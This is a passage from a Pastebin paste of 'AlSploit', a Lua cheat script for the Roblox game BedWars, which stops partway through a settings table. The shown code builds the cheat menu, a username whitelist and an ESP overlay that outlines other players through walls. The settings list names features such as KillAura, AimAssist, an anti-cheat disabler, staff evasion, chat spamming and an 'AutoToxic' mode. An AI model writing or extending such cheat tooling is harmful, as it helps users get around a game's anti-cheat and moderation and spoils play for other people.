tomoneko

bedwars

Feb 5th, 2024
55
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 156.04 KB | None | 0 0
  1. local WhitelistedUsers = {User1 = "imagod_033", User2 = "4SaD45", User3 = "iusealsploit", User4 = "umother2001vjd", User5 = "ncm_hack", User6 = "bananjoy_4", User7 = "codexexperince123456"}
  2. local Owner = "AlSploitEzWins"
  3.  
  4. local LocalPlayer = game.Players.LocalPlayer
  5.  
  6. local RbxAnalyticsService = game:GetService("RbxAnalyticsService")
  7. local CollectionService = game:GetService("CollectionService")
  8. local ReplicatedStorage = game:GetService("ReplicatedStorage")
  9. local UserInputService = game:GetService("UserInputService")
  10. local LightingService = game:GetService("Lighting")
  11. local PlayerService = game:GetService("Players")
  12. local TweenService = game:GetService("TweenService")
  13. local StatsService = game:GetService("Stats")
  14. local HttpService = game:GetService("HttpService")
  15. local RunService = game:GetService("RunService")
  16. local WorkSpace = game:GetService("Workspace") or game.Workspace or workspace
  17. local CoreGui = game:GetService("CoreGui")
  18.  
  19. local AlSploit = Instance.new("ScreenGui")
  20. local ContainerFrame = Instance.new("Frame")
  21. local ContainerFrameUIListLayout = Instance.new("UIListLayout")
  22. local NotificationContainer = Instance.new("Frame")
  23. local NotificationContainerUIListLayout = Instance.new("UIListLayout")
  24.  
  25. local DefaultLayoutOrder = 0
  26.  
  27. AlSploit.Name = "AlSploit"
  28. AlSploit.Parent = LocalPlayer:WaitForChild("PlayerGui")
  29. AlSploit.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
  30. AlSploit.ResetOnSpawn = false
  31.  
  32. ContainerFrame.Name = "ContainerFrame"
  33. ContainerFrame.Parent = AlSploit
  34. ContainerFrame.BackgroundColor3 = Color3.new(255, 255, 255)
  35. ContainerFrame.BackgroundTransparency = 1.000
  36. ContainerFrame.BorderColor3 = Color3.new(0, 0, 0)
  37. ContainerFrame.BorderSizePixel = 0
  38. ContainerFrame.Position = UDim2.new(0, 0, 0, 0)
  39. ContainerFrame.Size = UDim2.new(1, 0, 1, 0)
  40. ContainerFrame.Visible = false
  41.  
  42. ContainerFrameUIListLayout.Parent = ContainerFrame
  43. ContainerFrameUIListLayout.SortOrder = Enum.SortOrder.LayoutOrder
  44. ContainerFrameUIListLayout.Padding = UDim.new(0, 50)
  45. ContainerFrameUIListLayout.FillDirection = Enum.FillDirection.Horizontal
  46. ContainerFrameUIListLayout.HorizontalAlignment = Enum.HorizontalAlignment.Center
  47.  
  48. NotificationContainer.Name = "NotificationContainer"
  49. NotificationContainer.Parent = AlSploit
  50. NotificationContainer.BackgroundColor3 = Color3.new(255, 255, 255)
  51. NotificationContainer.BackgroundTransparency = 1.000
  52. NotificationContainer.BorderColor3 = Color3.new(0, 0, 0)
  53. NotificationContainer.BorderSizePixel = 0
  54. NotificationContainer.Position = UDim2.new(0.8, 0, 0, 0)
  55. NotificationContainer.Size = UDim2.new(0.2, 0, 0.980487823, 0)
  56.  
  57. NotificationContainerUIListLayout.Parent = NotificationContainer
  58. NotificationContainerUIListLayout.HorizontalAlignment = Enum.HorizontalAlignment.Center
  59. NotificationContainerUIListLayout.SortOrder = Enum.SortOrder.LayoutOrder
  60. NotificationContainerUIListLayout.VerticalAlignment = Enum.VerticalAlignment.Bottom
  61. NotificationContainerUIListLayout.Padding = UDim.new(0, 10)
  62.  
  63. local UIAspectRatioConstraintOpen = Instance.new("UIAspectRatioConstraint")
  64. local UIStroke = Instance.new("UIStroke")
  65. local UICorner = Instance.new("UICorner")
  66. local Open = Instance.new("ImageButton")
  67.  
  68. UIStroke.Parent = Open
  69. UIStroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Border
  70. UIStroke.Thickness = 2
  71. UIStroke.Color = Color3.new(0.635294, 0.313725, 1)
  72.  
  73. Open.Name = "Open"
  74. Open.Parent = AlSploit
  75. Open.BackgroundColor3 = Color3.new(255, 255, 255)
  76. Open.BorderColor3 = Color3.new(0, 0, 0)
  77. Open.BorderSizePixel = 0
  78. Open.Position = UDim2.new(0.963096738, 0, 0.351765305, 0)
  79. Open.Size = UDim2.new(0.0329854637, 0, 0.0837961882, 0)
  80. Open.Image = "rbxassetid://15428841655"
  81.  
  82. UICorner.CornerRadius = UDim.new(0, 6)
  83. UICorner.Parent = Open
  84.  
  85. UIAspectRatioConstraintOpen.Parent = Open
  86. UIAspectRatioConstraintOpen.AspectRatio = 1
  87.  
  88. local Blur = Instance.new("BlurEffect")
  89.  
  90. Blur.Parent = LightingService
  91. Blur.Enabled = false
  92. Blur.Size = 16
  93.  
  94. task.spawn(function()
  95. Open.Activated:Connect(function()
  96. ContainerFrame.Visible = not ContainerFrame.Visible
  97. Blur.Enabled = not Blur.Enabled
  98. end)
  99. end)
  100.  
  101. local function CreateTab(Name)
  102. local Tab = Instance.new("Frame")
  103. local UICorner = Instance.new("UICorner")
  104. local CornerFix = Instance.new("Frame")
  105. local ModulesContainer = Instance.new("Frame")
  106. local UIListLayout = Instance.new("UIListLayout")
  107. local Title = Instance.new("TextLabel")
  108. local UIGradient = Instance.new("UIGradient")
  109.  
  110. Tab.Name = "Tab"
  111. Tab.Parent = ContainerFrame
  112. Tab.BackgroundColor3 = Color3.new(0, 0, 0)
  113. Tab.BorderColor3 = Color3.new(0, 0, 0)
  114. Tab.BorderSizePixel = 0
  115. Tab.Position = UDim2.new(0.434123844, 0, 0, 0)
  116. Tab.Size = UDim2.new(0.142, 0, 0.049, 0)
  117.  
  118. UICorner.CornerRadius = UDim.new(0, 12)
  119. UICorner.Parent = Tab
  120.  
  121. CornerFix.Name = "CornerFix"
  122. CornerFix.Parent = Tab
  123. CornerFix.BackgroundColor3 = Color3.new(0, 0, 0)
  124. CornerFix.BorderColor3 = Color3.new(0, 0, 0)
  125. CornerFix.BorderSizePixel = 0
  126. CornerFix.Position = UDim2.new(0, 0, 0.371, 0)
  127. CornerFix.Size = UDim2.new(1, 0, 0.629, 0)
  128.  
  129. ModulesContainer.Name = "ModulesContainer"
  130. ModulesContainer.Parent = Tab
  131. ModulesContainer.BackgroundColor3 = Color3.new(255, 255, 255)
  132. ModulesContainer.BackgroundTransparency = 1.000
  133. ModulesContainer.BorderColor3 = Color3.new(0, 0, 0)
  134. ModulesContainer.BorderSizePixel = 0
  135. ModulesContainer.Position = UDim2.new(0, 0, 1, 0)
  136. ModulesContainer.Size = UDim2.new(1, 0, 21.4285717, 0)
  137.  
  138. UIListLayout.Parent = ModulesContainer
  139. UIListLayout.HorizontalAlignment = Enum.HorizontalAlignment.Center
  140. UIListLayout.FillDirection = Enum.FillDirection.Vertical
  141. UIListLayout.SortOrder = Enum.SortOrder.LayoutOrder
  142.  
  143. Title.Name = "Title"
  144. Title.Parent = Tab
  145. Title.BackgroundColor3 = Color3.new(255, 255, 255)
  146. Title.BackgroundTransparency = 1.000
  147. Title.BorderColor3 = Color3.new(0, 0, 0)
  148. Title.BorderSizePixel = 0
  149. Title.Position = UDim2.new(0, 0, 0.123508625, 0)
  150. Title.Size = UDim2.new(0.99999994, 0, 0.742857158, 0)
  151. Title.Font = Enum.Font.GothamBold
  152. Title.Text = Name
  153. Title.TextColor3 = Color3.new(255, 255, 255)
  154. Title.TextSize = 17
  155. Title.TextWrapped = true
  156.  
  157. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.843137, 0.686275, 1))}
  158. UIGradient.Rotation = 90
  159. UIGradient.Parent = Title
  160.  
  161. return ModulesContainer
  162. end
  163.  
  164. local function CreateToggle(Parent, Name, DefaultValue, CallBack)
  165. local Toggle = Instance.new("TextButton")
  166. local UIPadding = Instance.new("UIPadding")
  167. local UIGradient = Instance.new("UIGradient")
  168. local DropDownButton = Instance.new("ImageButton")
  169.  
  170. local CallBackValue = DefaultValue
  171.  
  172. local LayoutOrder = 0
  173.  
  174. local function CallBackToggle(Value)
  175. task.spawn(function()
  176. if Value == true then
  177. CallBackValue = true
  178. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  179.  
  180. CallBack(true)
  181. end
  182. end)
  183.  
  184. task.spawn(function()
  185. if Value == false then
  186. CallBackValue = false
  187. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  188.  
  189. CallBack(false)
  190. end
  191. end)
  192. end
  193.  
  194. Toggle.Name = "Toggle"
  195. Toggle.Parent = Parent
  196. Toggle.BackgroundColor3 = Color3.new(0, 0, 0)
  197. Toggle.BackgroundTransparency = 0.150
  198. Toggle.BorderColor3 = Color3.new(0, 0, 0)
  199. Toggle.BorderSizePixel = 0
  200. Toggle.Size = UDim2.new(1, 0, 0.0469164699, 0)
  201. Toggle.AutoButtonColor = false
  202. Toggle.Font = Enum.Font.GothamBold
  203. Toggle.Text = Name
  204. Toggle.TextColor3 = Color3.new(255, 255, 255)
  205. Toggle.TextSize = 12.000
  206. Toggle.TextXAlignment = Enum.TextXAlignment.Left
  207. Toggle.LayoutOrder = DefaultLayoutOrder + 10
  208.  
  209. LayoutOrder = Toggle.LayoutOrder
  210. DefaultLayoutOrder = LayoutOrder
  211.  
  212. UIPadding.Parent = Toggle
  213. UIPadding.PaddingLeft = UDim.new(0, 15)
  214.  
  215. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  216. UIGradient.Rotation = 90
  217. UIGradient.Parent = Toggle
  218.  
  219. DropDownButton.Name = "DropDownButton"
  220. DropDownButton.Parent = Toggle
  221. DropDownButton.BackgroundColor3 = Color3.new(255, 255, 255)
  222. DropDownButton.BackgroundTransparency = 1.000
  223. DropDownButton.BorderColor3 = Color3.new(0, 0, 0)
  224. DropDownButton.BorderSizePixel = 0
  225. DropDownButton.Position = UDim2.new(0.835, 0, 0.163, 0)
  226. DropDownButton.Rotation = 90.000
  227. DropDownButton.Size = UDim2.new(0.132, 0, 0.668, 0)
  228. DropDownButton.Image = "http://www.roblox.com/asset/?id=12809025337"
  229.  
  230. CallBackToggle(CallBackValue)
  231.  
  232. task.spawn(function()
  233. Toggle.Activated:Connect(function()
  234. CallBackToggle(not CallBackValue)
  235. end)
  236. end)
  237.  
  238. return Toggle, DropDownButton, LayoutOrder, UIGradient
  239. end
  240.  
  241. local function CreateKeyBind(Parent, DefaultValue, LayoutOrder, CallBack)
  242. local KeyBind = Instance.new("TextButton")
  243. local UIGradient = Instance.new("UIGradient")
  244.  
  245. local function CallBackToggle(Value)
  246. CallBack(Value)
  247. end
  248.  
  249. KeyBind.Name = "KeyBind"
  250. KeyBind.Parent = Parent
  251. KeyBind.BackgroundColor3 = Color3.new(0, 0, 0)
  252. KeyBind.BackgroundTransparency = 0.150
  253. KeyBind.BorderColor3 = Color3.new(0, 0, 0)
  254. KeyBind.BorderSizePixel = 0
  255. KeyBind.Position = UDim2.new(0, 0, 0.0765417367, 0)
  256. KeyBind.Size = UDim2.new(0.99999994, 0, 0.0353890099, 0)
  257. KeyBind.AutoButtonColor = false
  258. KeyBind.Font = Enum.Font.GothamBold
  259. KeyBind.Text = "KeyBind: " .. DefaultValue
  260. KeyBind.TextColor3 = Color3.new(255, 255, 255)
  261. KeyBind.TextSize = 11.000
  262. KeyBind.LayoutOrder = LayoutOrder
  263.  
  264. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  265. UIGradient.Rotation = 90
  266. UIGradient.Parent = KeyBind
  267.  
  268. task.spawn(function()
  269. local InputValue = false
  270. local Value = false
  271.  
  272. KeyBind.Activated:Connect(function()
  273. if Value == false then
  274. InputValue = true
  275. KeyBind.Text = "..."
  276. end
  277.  
  278. if Value == true and InputValue == true then
  279. KeyBind.Text = "KeyBind: " .. "..."
  280. InputValue = false
  281. CallBackToggle("...")
  282. end
  283.  
  284. Value = not Value
  285. end)
  286.  
  287. task.spawn(function()
  288. UserInputService.InputBegan:Connect(function(Input)
  289. if InputValue == true and not UserInputService:GetFocusedTextBox() then
  290. if Input.KeyCode and Input.UserInputType == Enum.UserInputType.Keyboard then
  291. KeyBind.Text = "KeyBind: " .. Input.KeyCode.Name
  292.  
  293. CallBackToggle(Input.KeyCode.Name)
  294. InputValue = false
  295. end
  296. end
  297. end)
  298. end)
  299. end)
  300.  
  301. return KeyBind
  302. end
  303.  
  304. local function CreateMiniToggle(Parent, Name, DefaultValue, LayoutOrder, CallBack)
  305. local MiniToggle = Instance.new("TextButton")
  306. local UIGradient = Instance.new("UIGradient")
  307.  
  308. local CallBackValue = DefaultValue
  309.  
  310.  
  311. local function CallBackToggle(Value)
  312. task.spawn(function()
  313. if Value == true then
  314. CallBackValue = true
  315. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  316.  
  317. CallBack(true)
  318. end
  319. end)
  320.  
  321. task.spawn(function()
  322. if Value == false then
  323. CallBackValue = false
  324. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  325.  
  326. CallBack(false)
  327. end
  328. end)
  329. end
  330.  
  331. MiniToggle.Name = "MiniToggle"
  332. MiniToggle.Parent = Parent
  333. MiniToggle.BackgroundColor3 = Color3.new(0, 0, 0)
  334. MiniToggle.BackgroundTransparency = 0.150
  335. MiniToggle.BorderColor3 = Color3.new(0, 0, 0)
  336. MiniToggle.BorderSizePixel = 0
  337. MiniToggle.Position = UDim2.new(0, 0, 0.0765417367, 0)
  338. MiniToggle.Size = UDim2.new(0.99999994, 0, 0.0353890099, 0)
  339. MiniToggle.AutoButtonColor = false
  340. MiniToggle.Font = Enum.Font.GothamBold
  341. MiniToggle.Text = Name
  342. MiniToggle.TextColor3 = Color3.new(255, 255, 255)
  343. MiniToggle.TextSize = 11.000
  344. MiniToggle.LayoutOrder = LayoutOrder
  345.  
  346. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  347. UIGradient.Rotation = 90
  348. UIGradient.Parent = MiniToggle
  349.  
  350. CallBackToggle(CallBackValue)
  351.  
  352. task.spawn(function()
  353. MiniToggle.Activated:Connect(function()
  354. CallBackToggle(not CallBackValue)
  355. end)
  356. end)
  357.  
  358. return MiniToggle
  359. end
  360.  
  361. local function CreateSlider(Parent, Name, DefaultValue, MaximumValue, LayoutOrder, CallBack)
  362. local Slider = Instance.new("Frame")
  363. local SliderFrame = Instance.new("Frame")
  364. local UICorner = Instance.new("UICorner")
  365. local Bar = Instance.new("TextButton")
  366. local UICorner_2 = Instance.new("UICorner")
  367. local UIGradient = Instance.new("UIGradient")
  368. local UIStroke = Instance.new("UIStroke")
  369.  
  370. local Title = Instance.new("TextLabel")
  371. local UIGradient_2 = Instance.new("UIGradient")
  372. local Fill = Instance.new("Frame")
  373. local UICorner_3 = Instance.new("UICorner")
  374. local UIGradient_3 = Instance.new("UIGradient")
  375.  
  376. Slider.Name = "Slider"
  377. Slider.Parent = Parent
  378. Slider.BackgroundColor3 = Color3.new(0, 0, 0)
  379. Slider.BackgroundTransparency = 0.150
  380. Slider.BorderColor3 = Color3.new(0, 0, 0)
  381. Slider.BorderSizePixel = 0
  382. Slider.Position = UDim2.new(0, 0, 0.116778016, 0)
  383. Slider.Size = UDim2.new(0.99999994, 0, 0.0687298849, 0)
  384. Slider.LayoutOrder = LayoutOrder
  385.  
  386. SliderFrame.Name = "SliderFrame"
  387. SliderFrame.Parent = Slider
  388. SliderFrame.BackgroundColor3 = Color3.new(255, 255, 255)
  389. SliderFrame.BackgroundTransparency = 1.000
  390. SliderFrame.BorderColor3 = Color3.new(0, 0, 0)
  391. SliderFrame.BorderSizePixel = 0
  392. SliderFrame.Position = UDim2.new(0.150000006, 0, 0.581818163, 0)
  393. SliderFrame.Size = UDim2.new(0.699999988, 0, 0.145454541, 0)
  394.  
  395. UICorner.CornerRadius = UDim.new(0, 12)
  396. UICorner.Parent = SliderFrame
  397.  
  398. Bar.Name = "Bar"
  399. Bar.Parent = SliderFrame
  400. Bar.BackgroundColor3 = Color3.new(255, 255, 255)
  401. Bar.BorderColor3 = Color3.new(0, 0, 0)
  402. Bar.BorderSizePixel = 0
  403. Bar.Position = UDim2.new(0.142857149, 0, -1.36341882, 0)
  404. Bar.Size = UDim2.new(0.0571428575, 0, 3.5, 0)
  405. Bar.ZIndex = 2
  406. Bar.AutoButtonColor = false
  407. Bar.Font = Enum.Font.SourceSans
  408. Bar.Text = ""
  409. Bar.TextColor3 = Color3.new(0, 0, 0)
  410. Bar.TextSize = 14.000
  411.  
  412. UICorner_2.CornerRadius = UDim.new(0, 12)
  413. UICorner_2.Parent = Bar
  414.  
  415. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  416. UIGradient.Parent = Bar
  417.  
  418. UIStroke.Parent = Bar
  419. UIStroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Border
  420. UIStroke.Thickness = 2
  421. UIStroke.Color = Color3.new(0, 0, 0)
  422.  
  423. Title.Name = "Title"
  424. Title.Parent = SliderFrame
  425. Title.BackgroundColor3 = Color3.new(255, 255, 255)
  426. Title.BackgroundTransparency = 1.000
  427. Title.BorderColor3 = Color3.new(0, 0, 0)
  428. Title.BorderSizePixel = 0
  429. Title.Position = UDim2.new(0.321428567, 0, -3.7615819, 0)
  430. Title.Size = UDim2.new(0.357142866, 0, 2.5, 0)
  431. Title.Font = Enum.Font.GothamBold
  432. Title.Text = Name .. ": " .. DefaultValue
  433. Title.TextColor3 = Color3.new(255, 255, 255)
  434. Title.TextSize = 11.00
  435.  
  436. UIGradient_2.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  437. UIGradient_2.Rotation = 90
  438. UIGradient_2.Parent = Title
  439.  
  440. Fill.Name = "Fill"
  441. Fill.Parent = SliderFrame
  442. Fill.BackgroundColor3 = Color3.new(255, 255, 255)
  443. Fill.BorderColor3 = Color3.new(0, 0, 0)
  444. Fill.BorderSizePixel = 0
  445. Fill.Size = UDim2.new(1, 0, 1, 0)
  446.  
  447. UICorner_3.CornerRadius = UDim.new(0, 12)
  448. UICorner_3.Parent = Fill
  449.  
  450. UIGradient_3.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  451. UIGradient_3.Parent = Fill
  452.  
  453. local Debounce = true
  454.  
  455. local function Snap(Number, Factor)
  456. if Factor == 0 then
  457. return Number
  458. else
  459. return math.floor(Number / Factor + 0.5) * Factor
  460. end
  461. end
  462.  
  463. task.spawn(function()
  464. Bar.MouseButton1Down:Connect(function()
  465. Debounce = false
  466. end)
  467.  
  468. UserInputService.InputEnded:connect(function(Input)
  469. if Input.UserInputType == Enum.UserInputType.MouseButton1 then
  470. Debounce = true
  471. end
  472. end)
  473. end)
  474.  
  475. task.spawn(function()
  476. local BarPosition = Bar.Position
  477.  
  478. local TweenInformation = TweenInfo.new(0.1, Enum.EasingStyle.Linear, Enum.EasingDirection.In, 0, false, 0)
  479. local PositionTween = TweenService:Create(Bar, TweenInformation, {Position = UDim2.new(DefaultValue / MaximumValue - 0.05, 0, BarPosition.Y.Scale, BarPosition.Y.Offset)})
  480.  
  481. PositionTween:Play()
  482.  
  483. local TweenInformation = TweenInfo.new(0.1, Enum.EasingStyle.Linear, Enum.EasingDirection.In, 0, false, 0)
  484. local SizeTween = TweenService:Create(Fill, TweenInformation, {Size = UDim2.new(DefaultValue / MaximumValue, 0, 1, 0)})
  485.  
  486. SizeTween:Play()
  487. end)
  488.  
  489. task.spawn(function()
  490. repeat
  491. task.wait()
  492.  
  493. if Debounce == false then
  494. local MousePosition = UserInputService:GetMouseLocation().X
  495. local BarPosition = Bar.Position
  496. local FrameSize = Slider.AbsoluteSize.X
  497. local FramePosition = Slider.AbsolutePosition.X
  498.  
  499. local Position = Snap((MousePosition - FramePosition) / FrameSize, 0.01)
  500.  
  501. local Percentage = math.clamp(Position, 0, 1)
  502.  
  503. local TweenInformation = TweenInfo.new(0.1, Enum.EasingStyle.Linear, Enum.EasingDirection.In, 0, false, 0)
  504. local PositionTween = TweenService:Create(Bar, TweenInformation, {Position = UDim2.new(Percentage, 0, BarPosition.Y.Scale, BarPosition.Y.Offset)})
  505.  
  506. PositionTween:Play()
  507.  
  508. local TweenInformation = TweenInfo.new(0.1, Enum.EasingStyle.Linear, Enum.EasingDirection.In, 0, false, 0)
  509. local SizeTween = TweenService:Create(Fill, TweenInformation, {Size = UDim2.new(Percentage, 0, 1, 0)})
  510.  
  511. SizeTween:Play()
  512.  
  513. Title.Text = Name .. ": " .. math.round(Percentage * MaximumValue)
  514.  
  515. CallBack(math.round(Percentage * MaximumValue))
  516. end
  517. until not Slider
  518. end)
  519.  
  520. return Slider
  521. end
  522.  
  523. local function CreateNotification(Duration, Message)
  524. local Notification = Instance.new("Frame")
  525. local UIStroke = Instance.new("UIStroke")
  526. local UIGradient = Instance.new("UIGradient")
  527. local UICorner = Instance.new("UICorner")
  528. local Text = Instance.new("TextLabel")
  529.  
  530. Notification.Name = "Notification"
  531. Notification.Parent = NotificationContainer
  532. Notification.BackgroundColor3 = Color3.new(0, 0, 0)
  533. Notification.BackgroundTransparency = 0.150
  534. Notification.BorderColor3 = Color3.new(0, 0, 0)
  535. Notification.BorderSizePixel = 0
  536. Notification.Position = UDim2.new(0.226286799, 0, 0, 0)
  537. Notification.Size = UDim2.new(0, 0, 0, 0)
  538.  
  539. UIStroke.Parent = Notification
  540. UIStroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Border
  541. UIStroke.Thickness = 2
  542. UIStroke.Color = Color3.new(1, 1, 1)
  543.  
  544. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  545. UIGradient.Parent = UIStroke
  546.  
  547. UICorner.Parent = Notification
  548. UICorner.CornerRadius = UDim.new(0, 6)
  549.  
  550. Text.Name = "Text"
  551. Text.Parent = Notification
  552. Text.BackgroundColor3 = Color3.new(255, 255, 255)
  553. Text.BackgroundTransparency = 1.000
  554. Text.BorderColor3 = Color3.new(0, 0, 0)
  555. Text.BorderSizePixel = 0
  556. Text.Position = UDim2.new(-0.00263573672, 0, 0, 0)
  557. Text.Size = UDim2.new(1, 0, 1, 0)
  558. Text.Font = Enum.Font.GothamBold
  559. Text.Text = Message
  560. Text.TextColor3 = Color3.new(255, 255, 255)
  561. Text.TextSize = 10.00
  562.  
  563. task.spawn(function()
  564. local NotificationSize = UDim2.new(1, 0, 0.087, 0)
  565.  
  566. local TweenInformation = TweenInfo.new(0.15, Enum.EasingStyle.Linear, Enum.EasingDirection.Out, 0, false, 0)
  567. local SizeTween = TweenService:Create(Notification, TweenInformation, {Size = NotificationSize})
  568.  
  569. SizeTween:Play()
  570.  
  571. task.wait(Duration)
  572.  
  573. NotificationSize = UDim2.new(0, 0, 0, 0)
  574.  
  575. local SizeTween2 = TweenService:Create(Notification, TweenInformation, {Size = NotificationSize})
  576.  
  577. SizeTween2:Play()
  578.  
  579. task.spawn(function()
  580. task.wait(TweenInformation.Time)
  581.  
  582. Notification:Destroy()
  583. end)
  584. end)
  585. end
  586.  
  587. local function CreateFlyHud()
  588. local Background = Instance.new("Frame")
  589. local UIStroke = Instance.new("UIStroke")
  590. local UICorner = Instance.new("UICorner")
  591. local Text = Instance.new("TextLabel")
  592. local UITextSizeConstraint = Instance.new("UITextSizeConstraint")
  593. local DisplayBackground = Instance.new("Frame")
  594. local UICorner_2 = Instance.new("UICorner")
  595. local Display = Instance.new("Frame")
  596. local UICorner_3 = Instance.new("UICorner")
  597.  
  598. Background.Name = "Background"
  599. Background.Parent = AlSploit
  600. Background.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  601. Background.BackgroundTransparency = 0.250
  602. Background.BorderColor3 = Color3.fromRGB(0, 0, 0)
  603. Background.BorderSizePixel = 0
  604. Background.Position = UDim2.new(0.41, 0, 0.7, 0)
  605. Background.Size = UDim2.new(0.178, 0, 0.085, 0)
  606.  
  607. UIStroke.Parent = Background
  608. UIStroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Border
  609. UIStroke.Thickness = 2
  610.  
  611.  
  612. task.spawn(function()
  613. repeat
  614. task.wait(0.001)
  615.  
  616. UIStroke.Color = Color3.fromHSV(tick() % 5 / 5, 1, 1)
  617. until not game
  618. end)
  619.  
  620. UICorner.Parent = Background
  621.  
  622. Text.Name = "Text"
  623. Text.Parent = Background
  624. Text.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  625. Text.BackgroundTransparency = 1.000
  626. Text.BorderColor3 = Color3.fromRGB(0, 0, 0)
  627. Text.BorderSizePixel = 0
  628. Text.Position = UDim2.new(-0.00332811219, 0, 0.510591209, 0)
  629. Text.Size = UDim2.new(0.999999762, 0, 0.489407092, 0)
  630. Text.Font = Enum.Font.GothamBold
  631. Text.Text = "1"
  632. Text.TextColor3 = Color3.fromRGB(175, 105, 255)
  633. Text.TextScaled = true
  634. Text.TextSize = 20.000
  635. Text.TextWrapped = true
  636.  
  637. UITextSizeConstraint.Parent = Text
  638. UITextSizeConstraint.MaxTextSize = 20
  639.  
  640. DisplayBackground.Name = "DisplayBackground"
  641. DisplayBackground.Parent = Background
  642. DisplayBackground.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  643. DisplayBackground.BorderColor3 = Color3.fromRGB(0, 0, 0)
  644. DisplayBackground.BorderSizePixel = 0
  645. DisplayBackground.Position = UDim2.new(0.228761196, 0, 0.266666889, 0)
  646. DisplayBackground.Size = UDim2.new(0.544929683, 0, 0.149570271, 0)
  647.  
  648. UICorner_2.CornerRadius = UDim.new(0, 6)
  649. UICorner_2.Parent = DisplayBackground
  650.  
  651. Display.Name = "Display"
  652. Display.Parent = DisplayBackground
  653. Display.BackgroundColor3 = Color3.fromRGB(175, 105, 255)
  654. Display.BorderColor3 = Color3.fromRGB(0, 0, 0)
  655. Display.BorderSizePixel = 0
  656. Display.Position = UDim2.new(0, 0, 0, 0)
  657. Display.Size = UDim2.new(0, 0, 1, 0)
  658. Display.ZIndex = 2
  659.  
  660. UICorner_3.CornerRadius = UDim.new(0, 6)
  661. UICorner_3.Parent = Display
  662.  
  663. return Background, Text, Display
  664. end
  665.  
  666. function CreateOutline(Player)
  667. if IsAlive(Player) then
  668. local BillBoard = Instance.new("BillboardGui")
  669.  
  670. BillBoard.Size = UDim2.new(4, 0, 4, 0)
  671. BillBoard.AlwaysOnTop = true
  672. BillBoard.Name = "Esp"
  673.  
  674. local Frame = Instance.new("Frame")
  675.  
  676. Frame.Size = UDim2.new(1, 0, 1.5, 0)
  677. Frame.Position = UDim2.new(0, 0, -Player.Character.LowerTorso.Size.Y / 2 or -Player.PrimaryPart.Size.Y / 2, 0)
  678. Frame.BackgroundTransparency = 1
  679.  
  680. local Stroke = Instance.new("UIStroke")
  681.  
  682. Stroke.Thickness = 1.5
  683. Stroke.Color = Color3.new(0.635294, 0.313725, 1)
  684. Stroke.Transparency = 0
  685.  
  686. local UICorner = Instance.new("UICorner")
  687.  
  688. UICorner.Parent = Frame
  689. UICorner.CornerRadius = UDim.new(0, 3)
  690.  
  691. Stroke.Parent = Frame
  692. Frame.Parent = BillBoard
  693. BillBoard.Parent = Player.Character.PrimaryPart
  694. end
  695. end
  696.  
  697. local Settings = {}
  698. local Loaded = false
  699.  
  700. local SaveFileName = "SavingSystemAlSploit"
  701.  
  702. local function CreateSettingsFile()
  703. Settings = {
  704. NoPlacementCps = {Value = true, KeyBind = "..."},
  705. ChestStealer = {Value = true, Range = 30, KeyBind = "..."},
  706. InfiniteJump = {Value = true, KeyBind = "..."},
  707. AutoClicker = {Value = true, Cps = 30, KeyBind = "..."},
  708. NoKnockBack = {Value = true, KeyBind = "..."},
  709. InfiniteFly = {Value = false, KeyBind = "..."},
  710. DamageBoost = {Value = true, KeyBind = "..."},
  711. ChatSpammer = {Value = false, Speed = 50, KeyBind = "..."},
  712. AcDisabler = {Value = true, KeyBind = "..."},
  713. FpsBooster = {Value = false, KeyBind = "..."},
  714. Indicators = {Value = true, KeyBind = "..."},
  715. AutoReport = {Value = true, KeyBind = "..."},
  716. AntiStaff = {Value = true, Kick = false, KeyBind = "..."},
  717. AutoToxic = {Value = false, KeyBind = "..."},
  718. GalaxySky = {Value = true, KeyBind = "..."},
  719. PlayAgain = {Value = true, KeyBind = "..."},
  720. Invisible = {Value = false, KeyBind = "..."},
  721. AimAssist = {Value = true, Range = 18, KeyBind = "..."},
  722. Scaffold = {Value = false, ExpandDistance = 2, KeyBind = "..."},
  723. KillAura = {Value = true, Range = 20, CustomAnimation = true, ToolCheck = false, Strafe = false, KeyBind = "..."},
